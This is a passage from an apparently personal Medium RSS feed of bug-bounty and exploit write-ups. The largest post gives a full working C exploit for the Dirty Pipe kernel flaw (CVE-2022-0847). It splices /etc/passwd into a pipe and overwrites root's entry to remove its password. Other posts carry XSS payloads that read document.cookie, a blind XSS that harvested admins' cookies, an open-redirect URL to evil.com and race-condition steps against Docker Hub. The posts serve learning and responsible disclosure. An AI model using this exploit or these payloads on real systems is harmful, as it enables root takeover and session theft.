            <content:encoded><![CDATA[<p>Heyy Hritom this side,…. After a bit long…</p><p>The story starts like this …. I was appointed on a project and was planning to get a bit unique things ( I never got blind xss before hehe).</p><p>So, let’s start with the concept…..</p><blockquote>Concept:</blockquote><p>Imagine there’s a website using a portal which have one public side where we gonna input stuffs and the other side which is private to the employees or admins where gonna execute things</p><h4>So, let’s recap the concept a bit easily…</h4><ol><li>We will put our payloads → public side field</li><li>we cannot see the execution on our own browser because it will execute the other side of the portal</li><li>Payload will gonna be execute on the private side of the portal.</li></ol><blockquote>Tools:</blockquote><p><a href="https://bxsshunter.com/">https://bxsshunter.com</a></p><p>BXSS is really a good tool which comes along with payloads or you can make your own but this will give you the POC and cookies and many more interesting things too.</p><blockquote>The Bug:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*zWdv55vwoxzhkh7bYedTdQ.gif" /></figure><h3>Now let’s get back to the finding….. :</h3><p>On a Friday i was finding vulnerability on a website which is mostly static.</p><p>I lost hope really but got a contact us field which is only allowing sending message to the support team with <em>NAME, EMAIL, MESSAGE, COMPANY NAME, PHONE NUMBER</em> fields.</p><p>Okay let’s assume that this website is hritom.com…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v334NOXh9EvJTs_qccbh8w.png" /><figcaption>this was the thing i was talking about</figcaption></figure><p>I dropped the payload on the company name and message field and submitted the form …..</p><p>No update on Saturday and Sunday….</p><p>I checked on Monday at night with zero hope….</p><p>But, I got the thing triggered….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9_DDllweUfSUAwMHfC-8g.png" /><figcaption>I got the IPs and cookies too….</figcaption></figure><p>This was really exciting for me. Clearly this was a critical one because I can fetch sysadmin info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*-os6SvxSOfdyZ_IIKvzLiw.gif" /></figure><blockquote>Announcement: A blog on detailed Buffer Overflow on scanf() function is about to drop, stay tuned.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d9dcbd06409" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dirtypipe — which gives you a special “geass” power]]></title>
            <link>https://medium.com/@hritombhattacharya029/dirtypipe-which-gives-you-a-special-geass-power-50e06be0875b?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/50e06be0875b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[low-level-programming]]></category>
            <category><![CDATA[kernel]]></category>
            <category><![CDATA[dirty-pipe]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 18:27:31 GMT</pubDate>
            <atom:updated>2025-09-12T18:27:31.473Z</atom:updated>
            <content:encoded><![CDATA[<h3>Dirtypipe — which gives you a special “geass” power</h3><p>Heyy! everyone … I was playing some CTF where I got this this CVE which cause privilege escalation, So I determine that why not write my own exploit POC to solve the lab.</p><p>This will help me to understand concepts in more better way and enhance my reverse engineering skill and exploit writing skills.</p><p>So, at First we need to know few things look at the Index.</p><h4><strong>Index:</strong></h4><ol><li>Concepts</li><li>Workflow of splice systemcall vs Traditional read/write</li><li>Heart of the vulnerability</li><li>Writing exploit</li><li>Key takeaways</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*YoaPSzaVFQrZbo3HE66mlw.gif" /></figure><blockquote><strong>Concepts:</strong></blockquote><p><strong><em>Page: </em></strong>It is the smallest part of the memory of 4kb that is 4096bytes.</p><p><strong><em>Page Cache:</em></strong> A cache memory for the page to make computation faster.</p><p><strong><em>Syscall (System Call)</em></strong>: You can think a bridge between User interface and program to Hardware.</p><p><strong><em>Piping:</em></strong> The concept of piping in Linux centers on connecting the output of one process to the input of another, using the kernel’s pipe implementation. “|” same as this.</p><p><strong><em>Zero-copy (splice() syscall):</em></strong> The splice() system call in Linux is a kernel-level function that moves data directly between two file descriptors (one of which must be a pipe) without copying data to or from user space, enabling efficient, zero-copy data transfer within the kernel. This reduces CPU overhead and increases I/O performance by transferring data through page references instead of byte-wise copying.</p><blockquote><strong>Workflow of splice systemcall vs Traditional read/write:</strong></blockquote><p><strong><em>Traditional read/write:</em></strong></p><ol><li><strong>read()</strong>: Data flows from file → kernel buffer → user space buffer</li><li><strong>write()</strong>: Data flows from user space buffer → kernel buffer → destination file</li><li><strong>Result</strong>: Data is copied <strong>twice</strong> (kernel↔user↔kernel)</li></ol><pre>File → Kernel → User Space → Kernel → Destination<br>      (copy 1)   (copy 2)</pre><p><strong><em>Splice() systemcall:</em></strong></p><ol><li><strong>Setup</strong>: Create a pipe (one file descriptor must be a pipe)</li><li><strong>Transfer</strong>: Data flows via page references, not data copying</li><li><strong>Result</strong>: <strong>Zero-copy</strong> — only memory pointers are moved</li></ol><pre>File → Pipe Buffer → Destination (all in kernel space)<br>    (reference)  (reference)</pre><p>Which makes <em>splice()</em> faster and less CPU loadup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*9DJ8iwHpyxi0X8HwEbFkvA.gif" /></figure><blockquote><strong>Heart of the vulnerability:</strong></blockquote><p>When pipe buffers are created and used, they have a flag called PIPE_BUF_FLAG_CAN_MERGE that indicates whether data can be merged into that buffer.</p><p><strong>Let’s understand this in a order:</strong></p><ol><li>When you fill a pipe with data, the PIPE_BUF_FLAG_CAN_MERGE flag gets set to allow merging more data</li><li>When you drain (empty) the pipe, the kernel fails to reset this flag. It should be cleared, but it remains set due to missing initialization in the copy_page_to_iter_pipe and push_pipe functions</li><li>When you use splice() to move file data into this &quot;dirty&quot; pipe buffer, the kernel creates a direct reference to the file&#39;s page cache instead of copying data. Since the CAN_MERGE flag is still set, any subsequent write to the pipe overwrites the original file&#39;s page cache directly</li></ol><p><strong>Let’s understand through a flowchart:</strong></p><pre>┌─────────────────────────────────────────────────────────────────┐<br>│                    DIRTY PIPE EXPLOITATION WORKFLOW             │<br>└─────────────────────────────────────────────────────────────────┘<br><br>STEP 1: Initial Setup<br>┌─────────────┐<br>│   Attacker  │ → Creates a pipe using pipe() system call<br>└─────────────┘<br>       ↓<br>┌─────────────────┐<br>│  Pipe Created   │ [fd_read, fd_write]<br>│  Status: Empty  │<br>└─────────────────┘<br><br>STEP 2: Fill Pipe Buffer (Set the Trap)<br>┌─────────────────┐<br>│ Write arbitrary │ → Fills pipe with dummy data<br>│ data to pipe    │   (sets PIPE_BUF_FLAG_CAN_MERGE = 1)<br>└─────────────────┘<br>       ↓<br>┌─────────────────┐<br>│ Pipe Buffer     │ [PIPE_BUF_FLAG_CAN_MERGE: SET]<br>│ Status: Full    │<br>└─────────────────┘<br><br>STEP 3: Drain Pipe (The Bug Triggers)<br>┌─────────────────┐<br>│ Empty the pipe  │ → Reads all data from pipe<br>│ completely      │<br>└─────────────────┘<br>       ↓<br>┌─────────────────┐<br>│ Pipe Buffer     │ [PIPE_BUF_FLAG_CAN_MERGE: STILL SET!]<br>│ Status: Empty   │ ← BUG: Flag should be cleared but isn&#39;t<br>└─────────────────┘<br><br>STEP 4: Load Target File (The Setup)<br>┌─────────────────┐<br>│ splice() call   │ → Moves target file data into pipe<br>│ file → pipe     │   (creates page reference, not copy)<br>└─────────────────┘<br>       ↓<br>┌─────────────────┐<br>│ Pipe Buffer     │ [Contains: Target File Page Reference]<br>│ References:     │ [PIPE_BUF_FLAG_CAN_MERGE: STILL SET]<br>│ /etc/passwd     │<br>└─────────────────┘<br><br>STEP 5: Malicious Write (The Exploitation)<br>┌─────────────────┐<br>│ Write malicious │ → Writes attacker&#39;s data to pipe<br>│ data to pipe    │<br>└─────────────────┘<br>       ↓<br>┌─────────────────┐<br>│ Page Cache      │ ← Directly overwrites target file&#39;s<br>│ /etc/passwd     │   memory pages (bypasses permissions!)<br>│ MODIFIED!       │<br>└─────────────────┘<br><br>RESULT: File Overwrite Complete<br>┌─────────────────┐<br>│ Target File     │ ← Now contains attacker&#39;s data<br>│ /etc/passwd     │   Permission checks bypassed<br>│ COMPROMISED     │   Root access gained<br>└─────────────────┘</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Hzc7yFdco2f3SGvNhIlsYA.gif" /></figure><blockquote><strong>Writing Exploit:</strong></blockquote><p>So, I hope you understood already the vulnerability. Now it’s time to write a exploit. Remember, the best way to learn exploit development is to rewrite a exploit in low level by understanding the vulnerability with the help of original exploit POC.</p><p>Okay, so here is my exploit which I wrote ….. yeah buddy I will make you understand my exploit line-by-line. (Because I understand it is hard to go for exploit development I’m also facing hardle while learning).</p><p><a href="https://github.com/Shadow-Spinner/CVE-2022-0847">GitHub - Shadow-Spinner/CVE-2022-0847: exploit of CVE-2022-0847 which directly remove password of the root account</a></p><p>A helpful guide: Open my exploit in a tab or window and read this to get the easy followup!</p><p>So, let’s dig in……</p><pre>#define _GNU_SOURCE<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;sys/stat.h&gt;</pre><p>#define _GNU_SOURCE — — &gt; Enables Linux-specific functions like splice()<br>#include &lt;stdio.h&gt; — → Standard I/O functions (printf, fprintf)<br>#include &lt;stdlib.h&gt; —→ Memory management (malloc, free) and system()<br>#include &lt;string.h&gt; — → String operations (strlen, strcpy, memcpy)<br>#include &lt;unistd.h&gt; — → System calls (read, write, pipe, close)<br>#include &lt;fcntl.h&gt; — → File control (open, splice system call)<br>#include &lt;sys/types.h&gt; — → System data types (ssize_t, off_t)<br>#include &lt;sys/stat.h&gt; — → File status functions (fstat, struct stat)</p><pre>int pipefd[2];<br><br>void prepare_pipe(int p[2], unsigned pipe_size) {<br>    char buffer[4096];<br>    <br>    for (unsigned r = pipe_size; r &gt; 0;) {<br>        unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;<br>        write(p[1], buffer, n);<br>        r -= n;<br>    }<br>    <br>    for (unsigned r = pipe_size; r &gt; 0;) {<br>        unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;<br>        read(p[0], buffer, n);<br>        r -= n;<br>    }<br>}</pre><p><em>void prepare_pipe(int p[2], unsigned pipe_size) {</em></p><ul><li>p: Array containing pipe file descriptors (read and write ends)</li><li>pipe_size: Total size of pipe buffer to manipulate</li></ul><p><em>char buffer[4096];</em></p><ul><li>Temporary storage for data operations</li><li>Size matches typical pipe buffer page size (4KB)</li><li>Acts as transfer medium between user space and pipe</li></ul><p><em>for (unsigned r = pipe_size; r &gt; 0;) {<br> unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;<br> write(p[1], buffer, n);<br> r -= n;<br>}</em></p><p>for (unsigned r = pipe_size; r &gt; 0;)</p><ul><li>r tracks remaining bytes to write</li><li>Continues until entire pipe is filled</li><li>No increment statement (manual decrement with r -= n)</li></ul><p>unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;</p><ul><li>If remaining &gt; 4096: Write maximum buffer size (4096 bytes)</li><li>If remaining &lt; 4096: Write only remaining bytes</li><li>Prevents buffer overflow and handles partial writes</li></ul><p>write(p, buffer, n);</p><ul><li>Writes n bytes from buffer to pipe&#39;s write end (p)</li><li>Critical Effect: Sets PIPE_BUF_FLAG_CAN_MERGE in kernel pipe buffer</li><li>Pipe becomes “mergeable” — allowing data combination</li></ul><p>r -= n;</p><ul><li>Reduces remaining byte counter</li><li>Ensures we don’t write more than intended pipe size</li></ul><p><em>for (unsigned r = pipe_size; r &gt; 0;) {<br> unsigned n = r &gt; sizeof(buffer) ? sizeof(buffer) : r;<br> read(p[0], buffer, n);<br> r -= n;<br>}</em></p><p>Same as previous one. Same calculation — reads in 4KB chunks or remaining bytes</p><p>read(p, buffer, n);</p><ul><li>Reads n bytes from pipe&#39;s read end (p)</li><li>Empties pipe buffer completely</li><li><strong>THE BUG</strong>: Should clear PIPE_BUF_FLAG_CAN_MERGE but doesn&#39;t!</li></ul><p>r -= n; ensures complete drainage</p><pre>int main() {<br>    if (pipe(pipefd) == -1) {<br>        perror(&quot;pipe&quot;);<br>        return 1;<br>    }<br>    <br>    unsigned pipe_size = fcntl(pipefd[1], F_GETPIPE_SZ);<br>    prepare_pipe(pipefd, pipe_size);<br>    <br>    const int fd = open(&quot;/etc/passwd&quot;, O_RDONLY);<br>    if (fd &lt; 0) { <br>        perror(&quot;open /etc/passwd&quot;); <br>        return 1; <br>    }<br>    <br>    <br>    loff_t offset = 5;  <br>    --offset;           <br>    <br>    ssize_t nbytes = splice(fd, &amp;offset, pipefd[1], NULL, 1, 0);<br>    if (nbytes &lt;= 0) { <br>        perror(&quot;splice failed&quot;); <br>        return 1; <br>    }<br>    <br>    <br>    const char* payload = &quot;:0:0::/root:/usr/bin/bash&quot;;<br>    nbytes = write(pipefd[1], payload, strlen(payload));<br>    if (nbytes &lt; 0) { <br>        perror(&quot;write payload&quot;); <br>        return 1; <br>    }</pre><p><em>if (pipe(pipefd) == -1) {<br> perror(“pipe”);<br> return 1;<br>}</em></p><p>Creates the pipe that will be weaponized… Let’s break it down more…</p><ul><li>pipe(pipefd) creates two file descriptors: pipefd (read) and pipefd (write)</li><li>Returns -1 on failure, triggering error handling</li><li>Sets up the foundation for the entire exploit</li></ul><p><em>unsigned pipe_size = fcntl(pipefd[1], F_GETPIPE_SZ);<br>prepare_pipe(pipefd, pipe_size);</em></p><p>fcntl(pipefd, F_GETPIPE_SZ)</p><ul><li>Gets the actual pipe buffer size (typically 65536 bytes)</li><li>Uses file control to query pipe capacity</li></ul><p>prepare_pipe(pipefd, pipe_size)</p><ul><li>Triggers the kernel bug<strong> </strong>— creates dirty pipe state</li><li>Pipe is now empty but has PIPE_BUF_FLAG_CAN_MERGE still set</li></ul><p><em>const int fd = open(“/etc/passwd”, O_RDONLY);<br>if (fd &lt; 0) { <br> perror(“open /etc/passwd”); <br> return 1; <br>}</em></p><p>/etc/passwd - the system&#39;s user account database</p><ul><li>O_RDONLY: Opens in read-only mode (attacker only needs read permission!)</li><li>Error handling ensures file opens successfully</li></ul><p>Even with read-only access, we can overwrite due to the bug</p><p><em>loff_t offset = 5; <br> — offset;</em></p><ul><li>offset = 5: Points to position 5 in /etc/passwd</li><li>--offset: Decrements to position 4</li><li>Why position 4?<strong>?? → </strong>Skips the first few characters of the root user entry</li></ul><p>Let us understand this more easy and visually…..</p><pre>Position: 01234567890123456789012345678901234567<br>Original: root:x:0:0:root:/root:/bin/bash<br>Modified: root:0:0::/root:/usr/bin/bash<br>          ↑   ↑<br>          |   └── Position 4-27: Overwritten with payload<br>          └────── Position 0-3: Unchanged due to limitation</pre><p>Limitation is Dirty Pipe cannot overwrite the first byte of a page.</p><p><em>ssize_t nbytes = splice(fd, &amp;offset, pipefd[1], NULL, 1, 0);<br>if (nbytes &lt;= 0) { <br> perror(“splice failed”); <br> return 1; <br>}</em></p><ul><li>fd: Source file descriptor (/etc/passwd)</li><li>&amp;offset: Start reading from position 4</li><li>pipefd: Destination (our dirty pipe)</li><li>1: Read only 1 byte</li><li>Creates direct page reference from file to pipe (no copying!)</li></ul><p><strong>What happens internally???</strong></p><ul><li>Kernel maps /etc/passwd&#39;s page cache into pipe buffer</li><li>Since PIPE_BUF_FLAG_CAN_MERGE is set, pipe allows merging</li><li>Pipe now contains a reference to the actual file data</li></ul><p><em>const char* payload = “:0:0::/root:/usr/bin/bash”;<br>nbytes = write(pipefd[1], payload, strlen(payload));<br>if (nbytes &lt; 0) { <br> perror(“write payload”); <br> return 1; <br>}</em></p><p>The Payload: :0:0::/root:/usr/bin/bash</p><p>Overwrites part of root user entry in /etc/passwd which changes root’s user/group ID to 0:0 (if not already) and shell</p><p><strong>The write() Call does…</strong></p><ul><li>Writes payload to pipe (pipefd)</li><li>Due to the bug data goes directly to /etc/passwd&#39;s page cache</li><li>Bypasses all permission checks — kernel thinks it’s writing to pipe</li></ul><p>Now, we done but the ending portion is left…… so, let’s follow up a little more….</p><pre>printf(&quot;SUCCESS! /etc/passwd should now have:\n&quot;);<br>    printf(&quot;root::0:0::/root:/usr/bin/bash\n&quot;);<br>    <br>    close(fd);<br>    close(pipefd[0]);<br>    close(pipefd[1]);<br>    return 0;<br>}</pre><p>printf(“SUCCESS! /etc/passwd should now have:\n”); → Notify exploit completion<br>printf(“root::0:0::/root:/usr/bin/bash\n”); → Show expected result</p><p>close(fd); → Close /etc/passwd file<br>close(pipefd[0]); → Close pipe read end <br>close(pipefd[1]); → Close pipe write end<br>return 0; → Exit successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*uRaKF0mxyIwUqgE6eD0xUQ.gif" /></figure><blockquote><strong>Key takeaways:</strong></blockquote><p>The traditional classic exploit POC of Max Kellermann used to add a user with root privilage but in this POC exploit, It gives removes password for root account by modifng /etc/passwd file [root:x:0:0:root:/root:/bin/bash].</p><blockquote><strong>Conclusion</strong></blockquote><p>Thank you so much for reading… I am also new to writing exploits and in security. This is what I concluded. I am eager to hear your words on this and if I missed something please reach me ASAP. And can suggest me the next blog exploits or reverse engineering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*n8nZnrjmV57JebGpWt_g3Q.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50e06be0875b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hall of Fame on TATA Motors]]></title>
            <link>https://medium.com/@hritombhattacharya029/hall-of-fame-on-tata-motors-0ced52eaa33c?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ced52eaa33c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hall-of-fame]]></category>
            <category><![CDATA[tata-motors]]></category>
            <category><![CDATA[open-redirect]]></category>
            <category><![CDATA[vapt]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Fri, 27 Jun 2025 08:27:36 GMT</pubDate>
            <atom:updated>2025-06-27T08:27:36.550Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, amigos... Here is a new blog and this is on a open redirect vulnerability... By the way the same vulnerability I also got on a Sony and I will write on that too. And by the way sorry for writing this blog lately.🥺😭</p><p>Whatever, let’s start with this one… 💀💀💀</p><blockquote>Target Finding:</blockquote><p>Iwas randomly searching for a bug bounty target. 🥸🥸🥸</p><p>And I thought why not on bug base, so I was looking for targets on bugbase and I saw that TATA motors is a new target so it’s a hot topic for me ….</p><p>So I did dig in…..</p><p>In this scenario let’s assume the domain name is <em>hritom.com</em></p><blockquote>Recon:</blockquote><p>I was doing random recon and after few minutes I observed that there is a URL parameter presentUrl in the login URL which was bound to a dashboard type URL ofcourse.</p><blockquote>Exploitation:</blockquote><p>I changed the URL to evil.com…..</p><p>So it was looking like this:<strong><em> </em></strong><a href="https://hritom.com/account/login.html?presentUrl=https://evil.com"><strong><em>https://hritom.com/account/login.html?presentUrl=https://evil.com</em></strong></a></p><p>So, after getting the URL I pasted it into the browser and you will see the login or signup page. So, I logged in with the phone number and pasted the URL and after thaw,….. wallah! Got redirect is working fine.🥹</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*zCFM3zVOaI_3510WkFOoMQ.gif" /><figcaption>That was actually my moment! 🥺</figcaption></figure><blockquote>Ending Scenario:</blockquote><p>After I got the Bug I wrote a sweet report and recorded a POC and and submitted, and after a few hours it got triaged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGWVMZgSp2iZIGZon8hSkw.png" /><figcaption>Report Validation</figcaption></figure><p>And after got this valid I was having my favorite brewed coffee and my favorite Alfredo….. 😎.</p><p>And I noticed that I ranked 3rd position on this target….. yahoooo!😎🥳</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*vzCoNa9xvBaVknTOs2XIsg.png" /><figcaption>Got the rank</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ced52eaa33c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The CRTP journey]]></title>
            <link>https://medium.com/@hritombhattacharya029/the-crtp-journey-e6f0644a26f9?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6f0644a26f9</guid>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[altered-security]]></category>
            <category><![CDATA[crtp-exam]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Sun, 29 Dec 2024 14:36:29 GMT</pubDate>
            <atom:updated>2024-12-29T14:36:29.546Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello amigos. I’m here to share my CRTP journey.</p><p>I was confident in Web Sec over windows. But I thought to jump over on AD. So it started six months ago. I started doing windows an other networking stuffs. Then I gotta know about CRTP, I mean I knew about CRTP before but I got to know about the structure and pattern and I was flabbergasted. So with out a second thought I bought the voucher.</p><p>However, after six month one of a Saturday on November I started the exam it was a roller-coaster like experience some times I was getting stucked and sometimes it was a piece of cake. I solved total lab in 24 hours and made the report in another 24 hours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dCQoOanaBjRS8jqqGanrXg.jpeg" /></figure><p>After completing the exam after few hours I got a confirmation mail that exam has been ended. And after a 7 days long wait I got another mail that I have successfully passed the exam. I was incredibly happy at that time. I got successfully the certificate after 1–2 days.</p><h4>Suggestion to the new students:</h4><p>I would love to suggest to the new student for the CRTP exam is that the practice lab and videos and each and every study material is very important. Study hard and make your own notes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6f0644a26f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Race Condition!!! On Docker Hub (:]]></title>
            <link>https://medium.com/@hritombhattacharya029/race-condition-on-docker-hub-69d0d70545b7?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/69d0d70545b7</guid>
            <category><![CDATA[swag]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[race-condition]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Sat, 30 Nov 2024 13:35:57 GMT</pubDate>
            <atom:updated>2024-11-30T13:35:57.719Z</atom:updated>
            <content:encoded><![CDATA[<p>Hiii! amigos… What’s up?</p><p>Here I go with a new finding which is a bit interesting because it is a race condition on the top of that I found this on Docker, So let’s start the story……</p><p>I was just randomly pen testing docker with no hope to find a single vulnerability to be honest because at this point it is a big target for me</p><p>Whatever, when I went to <a href="https://hub.docker.com/"><strong>https://hub.docker.com</strong></a><strong> </strong>. I saw there’s a like functionality</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yP3LhYVDKcZ68dXzfKzNOg.png" /><figcaption>Observe here there’s a start which is a like functionality</figcaption></figure><blockquote>So, while performing race condition our objective is:</blockquote><ol><li>From a single account we need more than one like</li><li>In the time of dislike normally we can dislike one like but others are permanent which means,…….. Let’s say we hit <strong>10 likes</strong> from account <strong>A</strong> using race condition attack but normally we can dislike 1 like from an account we know that that means <strong>9 likes</strong> are permanent no one can remove them!</li></ol><blockquote>Let’s go with steps to reproduce:</blockquote><ol><li>Login with your account</li><li>Go to <a href="https://hub.docker.com/">https://hub.docker.com/</a> and choose any of the content (I chose friendica)</li><li>start the burp.</li><li>click on the star on <a href="https://hub.docker.com/_/friendica">https://hub.docker.com/_/friendica</a> and intercept in the burp.</li><li>send the request to the repeater and perform this at least 20 times.</li><li>now, we have 20 same request in the burp repeater and click on the down arrow beside send button and select send group in parallel option.</li><li>send the request and give some time to come back the response.</li><li>turn off intercept.</li><li>reload the page.</li></ol><p>After few days got this mail for swag Yahoooo!!!</p><p>Still not got the swag it is on the way. After receiving that I’ll share that on my LinkedIn and Twitter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*WQE69qkVACyt7ugRJbe86A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69d0d70545b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Oracle story of Stored XSS and HTML injection]]></title>
            <link>https://medium.com/@hritombhattacharya029/the-oracle-story-of-stored-xss-and-html-injection-79a6a7603980?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/79a6a7603980</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[research-reports]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[oracle]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Sun, 20 Oct 2024 05:59:25 GMT</pubDate>
            <atom:updated>2024-10-20T05:59:25.777Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello buddies,</p><p>I was just chilling in my room and scrolling randomly then once i saw Vulnerability Dis-closer program for oracle. And it was one of a awesome thing that I got at that time (After my cuppa-chino).</p><h4>So let’s start hacking……….</h4><p>I did subdomain enumeration but did not got any positive feeling on those subdomain. At that time a idea just clicked my mind that we can target acquisitions.</p><p>After that I did google dork and other necessary recon and got to know that Netsuite is a acquisition of Oracle.</p><p>So I started a subdomain enumeration and got a much much longer list of subdomains.</p><p>I was checking one by one and got <a href="https://abc.xyz.netsuite.com/"><strong><em>https://abc.xyz.netsuite.com/</em></strong></a><strong><em> </em></strong>this subdomain.</p><p>I don’t know why I felt like checking.XSS at first at that morning. So just checking in random field and parameters. I got XSS and HTML in the first name field and in the last name field with this payload:</p><pre>&lt;img src=x onerror=alert(document.domain)&gt;</pre><p>So, I was soooo much happy with this jackpot ………..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30XyQ4HmxJWnTNPQ_6Fqrg.jpeg" /></figure><p>After that I went for buying beer for me because now it was just time to get triage. After 2 months things ended well</p><p>Here is my Hall of Fame (On-Line Presence Security Contributors)……………..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwsEGPs779C_0nR_HeWO4Q.png" /><figcaption>……. Hall of Fame …..</figcaption></figure><h3>………………………… THANK YOU ……………………</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79a6a7603980" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Story of Hall of Fame in Red Hat Linux]]></title>
            <link>https://medium.com/@hritombhattacharya029/story-of-hall-of-fame-in-red-hat-linux-e267b9f22d06?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/e267b9f22d06</guid>
            <category><![CDATA[redhat-linux]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hall-of-fame]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Mon, 13 May 2024 11:21:02 GMT</pubDate>
            <atom:updated>2024-05-13T11:29:24.974Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello! I’m a independent bug bounty hunter rather just a starting with bug bounty a newbie.</p><p>I got XSS in one of a subdomain of redhat! which was reflecting in the url</p><p>Let’s start Hacking…….</p><p>So, I used to check multiple XSS payloads in url or in url parameters or in the body.</p><p>So, while doing recon I found a end point from wayback machine was →</p><p>https://&lt;subdomain&gt;/CFIDE/wizards/common/_logintowizard.cfm?</p><p>I was simply trying XSS payloads at the end of the “?” and was trying to bypass. And at that time I got a cool bypass and was clicked the payload was →</p><pre> &quot;&gt;&lt;%2Fscript&gt;&lt;script&gt;alert(document.cookie)&lt;%2Fscript&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eDO9N5_VlOsRe4FTGUkz5g.png" /></figure><p>And hell yayhh! We got it!</p><p><strong>Conclusion:</strong></p><p>Enumeration and the possibilities are always endless. After that I got the Hall of Fame from Red hat. Check out below.</p><p><a href="https://access.redhat.com/articles/66234">https://access.redhat.com/articles/66234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e267b9f22d06" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>